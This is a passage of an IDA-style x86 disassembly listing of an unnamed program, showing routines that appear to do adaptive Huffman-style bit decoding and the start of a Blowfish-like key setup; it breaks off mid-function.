		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax+40Ch],	edx
		mov	edx, [ebp+var_C]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx+40Ch]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx+414h], 0
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_48EFF6
; ---------------------------------------------------------------------------


loc_48EFED:				; CODE XREF: sub_48EEAD+15Ej
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_48EFF6:				; CODE XREF: sub_48EEAD+13Ej
		mov	eax, [ebp+var_10]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+eax+40Ch]
		jnb	short loc_48F00D
		jmp	short loc_48EFED
; ---------------------------------------------------------------------------


loc_48F00D:				; CODE XREF: sub_48EEAD+15Cj
		mov	eax, [ebp+var_10]
		sub	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+var_C]
		shl	ecx, 4
		push	ecx		; Size
		mov	edx, [ebp+var_C]
		add	edx, 1
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+edx+40Ch]
		push	ecx		; Src
		mov	edx, [ebp+var_C]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+edx+40Ch]
		push	ecx		; Dst
		call	_memcpy_2
		add	esp, 0Ch
		mov	edx, [ebp+var_10]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax+edx+40Ch],	ecx
		mov	edx, [ebp+var_10]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+edx+418h],	ecx
		mov	edx, [ebp+var_10]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx+414h], 0
		jmp	loc_48EF66
; ---------------------------------------------------------------------------


loc_48F08C:				; CODE XREF: sub_48EEAD+CFj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+408h]
		sub	edx, 1
		mov	[ebp+var_8], edx
		jmp	short loc_48F0A6
; ---------------------------------------------------------------------------


loc_48F09D:				; CODE XREF: sub_48EEAD:loc_48F11Cj
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax


loc_48F0A6:				; CODE XREF: sub_48EEAD+1EEj
		cmp	[ebp+var_8], 0
		jl	short loc_48F121
		mov	ecx, [ebp+var_8]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx+414h], 0
		jz	short loc_48F0E0
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+418h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+eax*4], edx
		jmp	short loc_48F11C
; ---------------------------------------------------------------------------


loc_48F0E0:				; CODE XREF: sub_48EEAD+210j
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+418h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		add	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+eax+410h],	edx
		mov	eax, [ebp+var_10]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+eax+410h],	edx


loc_48F11C:				; CODE XREF: sub_48EEAD+231j
		jmp	loc_48F09D
; ---------------------------------------------------------------------------


loc_48F121:				; CODE XREF: sub_48EEAD+1FDj
		mov	esp, ebp
		pop	ebp
		retn
sub_48EEAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F125	proc near		; CODE XREF: sub_48EDD3+AFp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax+414h], 0
		jz	short loc_48F159
		mov	edx, [ebp+arg_4]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx+418h]
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		jmp	short loc_48F19C
; ---------------------------------------------------------------------------


loc_48F159:				; CODE XREF: sub_48F125+17j
		mov	ecx, [ebp+arg_4]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx+418h]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	[ecx+eax+410h],	edx
		mov	eax, [ebp+arg_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+418h]
		add	edx, 1
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	[eax+edx+410h],	ecx


loc_48F19C:				; CODE XREF: sub_48F125+32j
		mov	edx, [ebp+arg_8]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx+414h], 0
		jz	short loc_48F1CA
		mov	ecx, [ebp+arg_8]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx+418h]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	[ecx+eax*4], edx
		jmp	short loc_48F20D
; ---------------------------------------------------------------------------


loc_48F1CA:				; CODE XREF: sub_48F125+88j
		mov	eax, [ebp+arg_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+418h]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	[eax+edx+410h],	ecx
		mov	edx, [ebp+arg_8]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx+418h]
		add	ecx, 1
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[edx+ecx+410h],	eax


loc_48F20D:				; CODE XREF: sub_48F125+A3j
		mov	ecx, [ebp+arg_4]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx+40Ch]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [eax+4]
		mov	[ebp+var_C], edx
		mov	ecx, [eax+8]
		mov	[ebp+var_8], ecx
		mov	edx, [eax+0Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax+40Ch]
		mov	eax, [ebp+arg_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+40Ch]
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	edx, [edx+0Ch]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+arg_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax+410h],	edx
		mov	eax, [ebp+arg_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+410h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax+40Ch]
		mov	eax, [ebp+var_10]
		mov	[edx], eax
		mov	ecx, [ebp+var_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_8]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_48F125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F2BB	proc near		; CODE XREF: sub_48ED1D+AAp
					; sub_48F4D9+E0p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+408h]
		sub	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+408h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+408h]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+408h]
		add	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	[edx+408h], ecx
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax+40Ch]
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+40Ch]
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	edx, [edx+0Ch]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+eax+410h],	edx
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax+418h]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax+edx*4], ecx
		mov	edx, [ebp+var_8]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax+edx+418h],	ecx
		mov	edx, [ebp+var_8]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx+414h], 0
		mov	ecx, [ebp+var_C]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[edx+ecx+418h],	eax
		mov	ecx, [ebp+var_C]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx+414h], 1
		mov	eax, [ebp+var_C]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax+40Ch], 0
		mov	edx, [ebp+var_C]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+edx+410h],	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+edx*4], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_48F2BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F3E7	proc near		; CODE XREF: .text:0048D52Bp

var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	byte_4F36B8, 0
		push	0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	ecx, [ebp+var_18]
		call	sub_48F5D0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_48F434
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		xor	edx, edx
		mov	dl, byte_4F36B8
		mov	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_48F3E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F434	proc near		; CODE XREF: sub_48F3E7+2Dp

var_2448	= dword	ptr -2448h
var_2444	= dword	ptr -2444h
var_2440	= byte ptr -2440h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2448h
		call	__alloca_probe_0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2444],	eax
		mov	ecx, [ebp+var_2444]
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		lea	edx, [ebp+var_2440]
		push	edx
		call	sub_48EC28
		add	esp, 4


loc_48F465:				; CODE XREF: sub_48F434+96j
		mov	eax, [ebp+var_2444]
		cmp	eax, [ebp+var_4]
		jnb	short loc_48F4CC
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+var_2440]
		push	edx
		call	sub_48F4D9
		add	esp, 8
		mov	[ebp+var_2448],	eax
		cmp	[ebp+var_2448],	100h
		jnz	short loc_48F497
		jmp	short loc_48F4CC
; ---------------------------------------------------------------------------


loc_48F497:				; CODE XREF: sub_48F434+5Fj
		mov	eax, [ebp+var_2444]
		mov	cl, byte ptr [ebp+var_2448]
		mov	[eax], cl
		mov	edx, [ebp+var_2444]
		add	edx, 1
		mov	[ebp+var_2444],	edx
		mov	eax, [ebp+var_2448]
		push	eax
		lea	ecx, [ebp+var_2440]
		push	ecx
		call	sub_48EDD3
		add	esp, 8
		jmp	short loc_48F465
; ---------------------------------------------------------------------------


loc_48F4CC:				; CODE XREF: sub_48F434+3Aj
					; sub_48F434+61j
		mov	eax, [ebp+var_2444]
		sub	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_48F434	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F4D9	proc near		; CODE XREF: sub_48F434+47p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0


loc_48F4E6:				; CODE XREF: sub_48F4D9+AAj
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax+414h], 0
		jnz	loc_48F588
		mov	edx, [ebp+var_8]
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx+418h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+0Ch]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+14h]
		and	ecx, eax
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_C], cl
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx+14h]
		shr	dl, 1
		mov	eax, [ebp+arg_4]
		mov	[eax+14h], dl
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+14h]
		test	edx, edx
		jnz	short loc_48F572
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+0Ch]
		cmp	edx, [ecx+10h]
		jb	short loc_48F56B
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax+15h], 1


loc_48F56B:				; CODE XREF: sub_48F4D9+89j
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx+14h], 80h


loc_48F572:				; CODE XREF: sub_48F4D9+6Cj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax
		jmp	loc_48F4E6
; ---------------------------------------------------------------------------


loc_48F588:				; CODE XREF: sub_48F4D9+1Ej
		mov	ecx, [ebp+var_8]
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx+418h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 101h
		jnz	short loc_48F5C1
		push	8
		mov	ecx, [ebp+arg_4]
		call	sub_48F67C
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_48F2BB
		add	esp, 8


loc_48F5C1:				; CODE XREF: sub_48F4D9+C9j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_48F4D9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F5D0	proc near		; CODE XREF: sub_48EAE0+1Bp
					; sub_48F3E7+1Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+16h], cl
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax+16h]
		test	ecx, ecx
		jz	short loc_48F607
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		mov	byte ptr [eax],	0


loc_48F607:				; CODE XREF: sub_48F5D0+2Cj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		add	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[eax+10h], edx
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx+15h], 0
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx+14h], 80h
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+14h]
		mov	[eax+4], dl
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_48F5D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F644	proc near		; CODE XREF: sub_48EAE0+48p
					; sub_48EAE0+57p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0


loc_48F654:				; CODE XREF: sub_48F644+2Dj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_48F673
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	dl, byte ptr [ebp+arg_0]
		shr	dl, 1
		mov	byte ptr [ebp+arg_0], dl
		jmp	short loc_48F654
; ---------------------------------------------------------------------------


loc_48F673:				; CODE XREF: sub_48F644+1Aj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_48F644	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F67C	proc near		; CODE XREF: sub_48F4D9+D0p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		sub	ecx, 1
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_8], eax


loc_48F69C:				; CODE XREF: sub_48F67C+AAj
		cmp	[ebp+var_8], 0
		jz	loc_48F72B
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+0Ch]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+14h]
		and	eax, edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_C], al
		mov	eax, [ebp+var_10]
		mov	cl, [eax+14h]
		shr	cl, 1
		mov	edx, [ebp+var_10]
		mov	[edx+14h], cl
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+14h]
		test	ecx, ecx
		jnz	short loc_48F708
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		add	eax, 1
		mov	ecx, [ebp+var_10]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_10]
		mov	ecx, [edx+0Ch]
		cmp	ecx, [eax+10h]
		jb	short loc_48F701
		mov	edx, [ebp+var_10]
		mov	byte ptr [edx+15h], 1


loc_48F701:				; CODE XREF: sub_48F67C+7Cj
		mov	eax, [ebp+var_10]
		mov	byte ptr [eax+14h], 80h


loc_48F708:				; CODE XREF: sub_48F67C+5Fj
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_48F71E
		mov	edx, [ebp+var_4]
		or	edx, [ebp+var_8]
		mov	[ebp+var_4], edx


loc_48F71E:				; CODE XREF: sub_48F67C+97j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		jmp	loc_48F69C
; ---------------------------------------------------------------------------


loc_48F72B:				; CODE XREF: sub_48F67C+24j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_48F67C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F734	proc near		; CODE XREF: sub_48ED1D+83p
					; sub_48ED1D+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_4], eax


loc_48F74D:				; CODE XREF: sub_48F734+A7j
		cmp	[ebp+var_4], 0
		jz	loc_48F7E0
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+var_4]
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_48F783
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_8]
		mov	dl, [eax]
		or	dl, [ecx+14h]
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		mov	[ecx], dl


loc_48F783:				; CODE XREF: sub_48F734+37j
		mov	edx, [ebp+var_8]
		mov	al, [edx+14h]
		shr	al, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx+14h], al
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+14h]
		test	eax, eax
		jnz	short loc_48F7D3
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx+0Ch]
		cmp	eax, [edx+10h]
		jb	short loc_48F7C3
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx+15h], 1
		jmp	short loc_48F7CC
; ---------------------------------------------------------------------------


loc_48F7C3:				; CODE XREF: sub_48F734+84j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		mov	byte ptr [eax],	0


loc_48F7CC:				; CODE XREF: sub_48F734+8Dj
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx+14h], 80h


loc_48F7D3:				; CODE XREF: sub_48F734+67j
		mov	edx, [ebp+var_4]
		shr	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_48F74D
; ---------------------------------------------------------------------------


loc_48F7E0:				; CODE XREF: sub_48F734+1Dj
		mov	esp, ebp
		pop	ebp
		retn	8
sub_48F734	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F7F0	proc near		; DATA XREF: sub_4B45FB+181o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	1048h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_48F82B
		add	esp, 10h
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_48F7F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F82B	proc near		; CODE XREF: sub_48F7F0+2Cp

var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C4h
		push	esi
		mov	[ebp+var_58], 243F6A88h
		mov	[ebp+var_54], 85A308D3h
		mov	[ebp+var_50], 13198A2Eh
		mov	[ebp+var_4C], 3707344h
		mov	[ebp+var_48], 0A4093822h
		mov	[ebp+var_44], 299F31D0h
		mov	[ebp+var_40], 82EFA98h
		mov	[ebp+var_3C], 0EC4E6C89h
		mov	[ebp+var_38], 452821E6h
		mov	[ebp+var_34], 38D01377h
		mov	[ebp+var_30], 0BE5466CFh
		mov	[ebp+var_2C], 34E90C6Ch
		mov	[ebp+var_28], 0C0AC29B7h
		mov	[ebp+var_24], 0C97C50DDh
		mov	[ebp+var_20], 3F84D5B5h
		mov	[ebp+var_1C], 0B5470917h
		mov	[ebp+var_18], 9216D5D9h
		mov	[ebp+var_14], 8979FB1Bh
		mov	[ebp+var_10], 0
		jmp	short loc_48F8C5
; ---------------------------------------------------------------------------


loc_48F8BC:				; CODE XREF: sub_48F82B+B4j
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_48F8C5:				; CODE XREF: sub_48F82B+8Fj
		cmp	[ebp+var_10], 12h
		jge	short loc_48F8E1
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_10]
		mov	eax, [ebp+eax*4+var_58]
		mov	[edx+ecx*4+1000h], eax
		jmp	short loc_48F8BC
; ---------------------------------------------------------------------------


loc_48F8E1:				; CODE XREF: sub_48F82B+9Ej
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_10], 0
		jmp	short loc_48F8F9
; ---------------------------------------------------------------------------


loc_48F8F0:				; CODE XREF: sub_48F82B:loc_48FC69j
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_48F8F9:				; CODE XREF: sub_48F82B+C3j
		cmp	[ebp+var_10], 4
		jge	loc_48FC6E
		mov	[ebp+var_5C], 0
		jmp	short loc_48F915
; ---------------------------------------------------------------------------


loc_48F90C:				; CODE XREF: sub_48F82B+439j
		mov	eax, [ebp+var_5C]
		add	eax, 1
		mov	[ebp+var_5C], eax


loc_48F915:				; CODE XREF: sub_48F82B+DFj
		cmp	[ebp+var_5C], 100h
		jge	loc_48FC69
		mov	[ebp+var_88], 100h
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_7C], eax
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_78], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_84], eax
